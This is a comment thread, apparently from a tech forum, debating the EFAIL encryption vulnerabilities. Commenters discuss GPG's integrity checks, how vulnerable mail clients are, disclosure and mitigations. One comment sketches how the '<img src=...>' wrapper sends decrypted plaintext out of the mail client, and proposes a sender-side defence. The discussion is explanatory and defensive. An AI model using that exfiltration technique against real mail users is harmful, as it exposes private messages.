This is, to me, an almost perfect analog of the event where it was revealed that the curl API didn't check TLS certificates on CURL_SSL_VERIFYHOST=1, but that was OK because the man page said you should use CURL_SSL_VERIFYHOST=2 if you wanted checking. Sure, programming languages cast "true" to 1, and there was literally no meaningful distrinction between 0 and 1 in curl's design, and, sure, dozens of applications were made insecure by that design decision, but, really, it's in the man page, so they should have known better.

Is "don't render plaintext when an MDC isn't present in the message" in the GPG man page?

Other people object because this exploit depends on HTML email to function. It's a vulnerability with HTML email readers, not PGP! That's an even dumber objection. It is precisely analogous to the argument that BEAST and CRIME and Lucky13 weren't vulnerabilities in TLS, because, after all, they depended on browser HTTP behavior in order to function.

The right thing for GPG to have done was to not render plaintext at all if a valid MDC wasn't included in the message. To provide for compatibility and diagnostics in the vanishingly rare cases where it would be needed, they could have had a flag to restore the current insecure behavior. But, like curl, they did the opposite of the right thing, and now they're blaming downstream while implicitly doubling down on their own broken behavior. Not encouraging.

Finally: several people, including the GPG project apparently, are claiming that the researchers behind this work didn't reach out to them. But Werner Koch himself said that the researchers reached out on November 24th of last year.

This is a shitshow, but it's also probably going to be the best crypto attack of the year. Be careful dismissing it; I think that won't be a good look in the long run.

mjw1007• 8 years ago

But popular mainstream GPG clients don't honor that warning, which doesn't say "Stop, don't process this plaintext I am showing you", but rather "message was not integrity protected".

As more information is coming out, it begins to seem that this is not the case: it looks like most GPG clients do detect the warning/error.

Looking at the table in the paper, most clients weren't vulnerable when using GPG rather than S/MIME.

Thunderbird is listed as vulnerable and would count as a popular mainstream client using GnuPG, but it appears that it (ie, enigmail) is not in fact vulnerable:

https://twitter.com/robertjhansen/status/995977877375070209

According to https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06033..., if a gnupg client uses --status-fd and there's no MDC, it will get

    [GNUPG:] DECRYPTION_FAILED

and it won't get the usual

    [GNUPG:] DECRYPTION_OKAY

Further, according to the paper gnupg "returns an error code" in this case, which I take to mean a nonzero exit status.

It that's true, I don't think the situation is at all as bad as you make out.

AIUI using --status-fd has been the usual thing for clients for a decade or so (it isn't a matter of "oh, didn't you know you should use --status-fd, I'm sure it's in the small print somewhere").

tptacek30• 8 years ago

Thunderbird and Apple Mail/GPGTools, two of the most popular PGP mail clients, are vulnerable. The table in the paper makes the situation look better than it is by displaying niche clients with very few users alongside the major clients that everybody uses.

Like I said upthread: the right answer (it's not even debatable; cryptography engineers deliberately design crypt constructions to have this property) is not to provide unauthenticated plaintext to callers at all. This isn't news. Whatever dumb warnings GPG prints are besides the point.

tptacek30• 8 years ago

Incidentally: I'm sure there's some version of GPG that doesn't print DECRYPTION_OKAY when the MDC is stripped, but if I encrypt --disable-mdc and then decrypt --status-fd 1, I get DECRYPTION_OKAY and an exit code of 0.

xorcist3• 8 years ago

If you strip the SHA-1 hash off a message, GPG will print a warning.

That's far from the whole story. If you strip off the authentication, GPG will fail with an error. Not a warning message.

(Over a socket, gpg will have started sending real data before failing, due to a bad and ancient design. OpenPGP can improve here, so let's point out the real problems instead of making up simpler ones for the sake of a good story.)

If your mail client supports encrypted email silently ignoring errors there's going to be more attacks possible than this one. And if you're parsing untrusted HTML with Outlook 2007, well, that might be problematic in itself.

I don't think anyone is dismissing the attack itself, but the communication around it could have been a little better. Most use of GPG takes place outside of MUAs.

tptacek30• 8 years ago

GPG provides unauthenticated plaintext to callers. It needs to stop. There's not much more to discuss.

belorn• 8 years ago

The reaction is the result of when people's expectations from reading about the attack do not match the actual impact. It has been presented as a fundamental issue with PGP with the recommendation to uninstall and stop using anything associated with it.

I use such programs every day, have developed software which directly use GPG, and administrate servers that depend on GPG every day. Not a single use case is affected by EFail. GPG can still be used by Debian maintainers to sign packages and emails, backups can be encrypted, passwords stored in managers, and so on. Even encrypted email, which is the target of the exploit, have minimal or no impact on me since everyone I know who communicates with encrypted emails have HTML turned off and get big massive warning when the signature is missing (or failed).

EFail can be describe in a single sentence: unsigned PGP data will only give warning when MDC is missing, potentially leaking plaintext in mail clients that render HTML. The scope of this looks to be quite small and a far cry from the suggested idea to uninstall GPG and abandon everything it has touched.

eyeareque2• 8 years ago

If you use a Mac without in client decryption, you’re fine. Also, if you use little snitch, you’d catch the request going out if it was hosted on a site you haven’t white listed.

Also, who allows image loading by default? Disable this if you haven’t yet. Spammers abused this for tracking a long time ago.

arca_vorago• 8 years ago

One more reason to stop using html emails people...

dane-pgp3• 8 years ago

People would be more secure if the web didn't use HTML too (or certainly if it didn't have JavaScript), but trying to convince users not to like features of their software has never been a very productive security strategy.

jolmg2• 8 years ago

Were the development teams of Apple Mail, iOS Mail and Mozilla Thunderbird contacted about this and given time to fix their issues before publication? The page makes no mention of this. It makes it look that this wasn't disclosed responsibly.

EthanHeilman• 8 years ago

It makes it look that this wasn't disclosed responsibly.

Not sure how anyone could say if the disclosure was or was not responsible based on who got advanced warning. Full-disclosure, i.e. all details without any prior warning, can be responsible disclosure. Coordinated disclosure, i.e. providing advanced warning, can be less responsible than full disclosure. It depends on the circumstances and surrounding context.

jolmg2• 8 years ago

That might be true in general, but for this particular case, it would seem like it'd be irresponsible to disclose without giving advanced warning to the email client developers. We're talking about giving the chance for journalists, political activists, etc. to be protected from this bug via a typical, routine software update without having to know about the bug before their potential attackers. If the vulnerability is still on, it's now a race on who'll learn the news first, the potential attackers to exploit it or the potential victims to avoid it.

schadom• 8 years ago

So firewalling eg. Apple Mail with some personal firewall like LittleSnitch to allow only SMTP/IMAP/POP3 for outbound connections should easily mitigate the issue.

beders• 8 years ago

Isn't that a failure to implement MIME parsing correctly? The moment the MIME parser sees the BOUNDARY string, the part is finished. Then the content can be decoded and parsed, which is invalid HTML. Parsing MIME parts is not black magic.

ddtaylor• 8 years ago

What I'm taking away from this as a security researcher is that how you package the argument really matters. Heartbleed showed us that you need to have some PR savvy if you expect to get people to understand the impact of your research, but likewise this shows us that if you're not careful it can backfire.

If these guys would have released it with very slightly different wording there wouldn't be as much backlash in this thread and arguing over semantics.

aleks_me2• 8 years ago

I have read the statement on eff https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you... and can't think about that this is a PR for Signal. I assume that signal will start some e-mail services soon and try now to shade the current mostly safe communication tools in bad light. I hope I'm wrong, the future will it shows.

It would be interesting to know if the https://darkmail.info/ initiate is still active. As far as I understand this solution are the metadata also invisible at the transport level. Can anyone shade a light on this?

craigphicks• 8 years ago

The EFAIL is particularly effective because it can surround every whole encrypted block B with chosen encrypted binary to yield ABC which decrypts to

    "...<img src="...[plaintext of b]...">.

Yet it also has the limitation that it cannot further divide the encrypted block B. Also, EFAIL depends upon plaintext of B being part of and HTML attribute value. Attribute values have a choice of only three final delimiters: doublequote (") singlequote (') and space ( ). So if every plaintext that is encrypted as a single block is prefaced by those three characters, then EFAIL cannot what comes after those characters. (Call it an obfuscation string). Play round with this sandbox

    https://try.jsoup.org/%7E_nyXks5PuAs-zJeek8CVhpuAvtI

to see how that works.

I've written in more detail at

    A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers
    https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki

The thing about new EFAIL reading-safe versions that somehow force or Strongly! advise to use MDC is that some readers won't update for years. And that becomes the problem of the sender when their messages are exfiltrated. Only if the message format is changed so that old readers can't read new messages ... but there are obvious drawbacks to that.

That's why I think this sender-safe solution, even if its a bit ugly, is worth considering.

Any implementation would have to be close to the encryption module, to avoid any mistakes aligning the obfuscation string with the encryption boundary start, actively checking that alignment is correct.

EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME

Related Stories